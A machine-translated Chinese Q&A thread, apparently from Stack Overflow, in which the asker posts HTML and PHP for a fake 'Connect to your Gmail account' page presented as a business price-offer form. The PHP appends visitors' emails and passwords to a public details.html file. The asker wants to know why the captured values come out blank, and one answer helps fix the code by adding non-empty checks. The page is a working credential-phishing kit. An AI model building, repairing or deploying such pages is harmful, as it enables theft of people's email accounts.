我已经创建了用HTML创建表单的代码,我想在我的服务器中保存表单详细信息,所以我已经创建了一个PHP代码来保存它,它不会向我显示详细信息,它只会节省:
电子邮件: 密码:
表格本身的细节不会保存。
我的PHP代码:
<?php
$Email = "";
$Password = "";
if (isset($_POST["Email"])) {
$Email = $_POST["Email"];
}
if (isset($_POST["Password"])) {
$Password = $_POST["Password"];
}
$text = "
Email: $Email
Password: $Password";
$file = fopen('details.html','a+');
fwrite($file, $text);
fclose($file);
?>
我的HTML代码:
<html>
<head>
<title>Send price offer to Embit Systems Inc.</title>
<link rel="stylesheet" type="text/css" href="mystyle.css">
</head>
<body>
<p style="text-align:center;">
</p>
<br>
<br>
<p style="font-family: Verdana, Geneva, sans-serif;text-align: center;">
Please fill out your business Email details to send an offer to Embit Systems Inc.
</p>
<br>
<p>
<form action="1.php" method="POST" enctype="text/plain" style="background-image:url(fff.png);
background-position:center;
background-size:20%;
background-repeat: no-repeat;
text-align: center">
<br>
<p style="font-family: Verdana, Geneva, sans-serif;">Connect to your Gmail account</p>
<p style="font-family: Verdana, Geneva, sans-serif;">Email:</p>
<input type="text" name="Email" id="Email" style=" width: 15%;
padding: 12px 20px;
margin: 8px 0;
display: inline-block;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;">
<br>
<br>
<p style="font-family: Verdana, Geneva, sans-serif;">Password:</p>
<input type="password" name="Password" id="Password" style=" width: 15%;
display: inline-block;
padding: 12px 20px;
margin: 8px 0;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;">
<br>
<br>
<input type="submit" value="Login" style="font-family: Verdana, Geneva, sans-serif; width: 12%;
background-color: #498BF4;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;">
<br>
<br>
<br>
</form>
</p>
</body>
</html>
我需要更改哪些内容才能将自己的表单保存在网站中?
编辑:如果它有助于网站的网址: embit.comli.com
答案 0 :(得分:0)
检查您的Email
和Password
是否为空,然后只附加到您的文件中,
if (isset($_POST["Email"]) && $_POST["Email"]) { // check email is not empty
$Email = $_POST["Email"];
}
if (isset($_POST["Password"]) && $_POST["Password"]) { // check password is not empty
$Password = $_POST["Password"];
}
if($Email && $Password){ // if both have values then only append in your file
$text = "
Email: $Email
Password: $Password";
$file = fopen('details.html','a+');
fwrite($file, $text);
fclose($file);
}
答案 1 :(得分:0)
我无法理解问题所在...... 好像我没有在文本框中插入任何内容,因为Rohan建议它似乎不起作用。 代码有问题吗? ID不匹配或什么?